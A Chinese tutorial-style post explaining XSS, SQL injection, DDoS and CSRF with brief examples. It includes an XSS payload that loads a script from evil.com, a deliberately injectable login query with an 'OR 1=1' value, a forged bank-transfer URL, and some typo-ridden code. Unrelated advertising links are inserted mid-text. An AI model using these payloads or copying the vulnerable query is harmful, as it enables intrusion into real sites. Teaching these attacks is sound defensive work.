常见web攻击手段总结
1.Cross Site Script(XSS,跨站脚本攻击)
XSS 就是攻击者在 Web 页面中插入恶意脚本,当用户浏览页面时,促使脚本执行,从而达到攻击目的。XSS 的特点就是想尽一切办法在目标网站上执行第三方脚本。
举个例子。原有的网站有个将数据库中的数据显示到页面的上功能,document.write("data from server")。但如果服务器没有验证数据类型,直接接受任何数据时,攻击者可以会将 <script src=‘http:bad-script.js‘></scirpt> 当做一个数据写入数据库。当其他用户请求这个数据时,网站原有的脚本就会执行 document.write("<script src=‘http://www.evil.com/bad-script.js‘></scirpt>"),这样,便会执行 bad-script.js。如果攻击者在这段第三方的脚本中写入恶意脚本,那么普通用户便会受到攻击。
2.SQL Injection(SQL注入)
所谓 SQL 注入,就是通过客户端的输入把 SQL 命令注入到一个应用的数据库中,从而得以执行恶意 SQL 语句。
先看个例子。
uname = request.POST[‘username‘]
password = request.POST[‘password‘]
sql = "SELECT all FROM users WHERE username=‘" + uname + "‘ AND password=‘" + password + "‘"
database.execute(sql)
上面这段程序直接将客户端传过来的数据写入到数据库。试想一下,如果用户传入的 password 值是: "password’ OR 1=1",那么 sql 语句便会变成:
sql = "SELECT all FROM users WHERE username=‘username‘ AND password=‘password‘ OR 1=1"
那么,这句 sql 无论 username 和 password 是什么都会执行,从而将所有用户的信息取出来。
3. Distributed Denial of Service (DDoS, 分布式拒绝服务)
DoS 攻击就是通过大量恶意流量占用带宽和计算资源以达到瘫痪对方网络的目的。
举个简单的例子,老郑家面馆生意红火,突然有一天一群小混混进了点,霸占了座位,只闲聊不点菜,结果坐在店里的人不吃面,想吃面的人进不来,导致老郑无法向正常客户服务。
而 DDoS 攻击就是将多个计算机联合起来一同向目标发起攻击,从而成倍地提高拒绝服务攻击的威力。
电脑刺绣绣花厂 http://www.szhdn.com 广州品牌设计公司https://www.houdianzi.com
4. Cross Site Request Forgery (CSRF, 跨站请求伪造)
简单来说,CSRF 就是网站 A 对用户建立信任关系后,在网站 B 上利用这种信任关系,跨站点向网站 A 发起一些伪造的用户操作请求,以达到攻击的目的。
举个例子。网站 A 是一家银行的网站,一个转账接口是 "http://www.bankA.com/transfer?toID=12345678&cash=1000"。toID 表示转账的目标账户,cash 表示转账数目。当然这个接口没法随便调用,只有在已经验证的情况下才能够被调用。
此时,攻击者建立了一个 B 网站,里面放了一段隐藏的代码,用来调用转账的接口。当受害者先成功登录了 A 网站,短时间内不需要再次验证,这个时候又访问了网站 B,B 里面隐藏的恶意代码就能够成功执行。
注:本文只为记录知识点,别无它意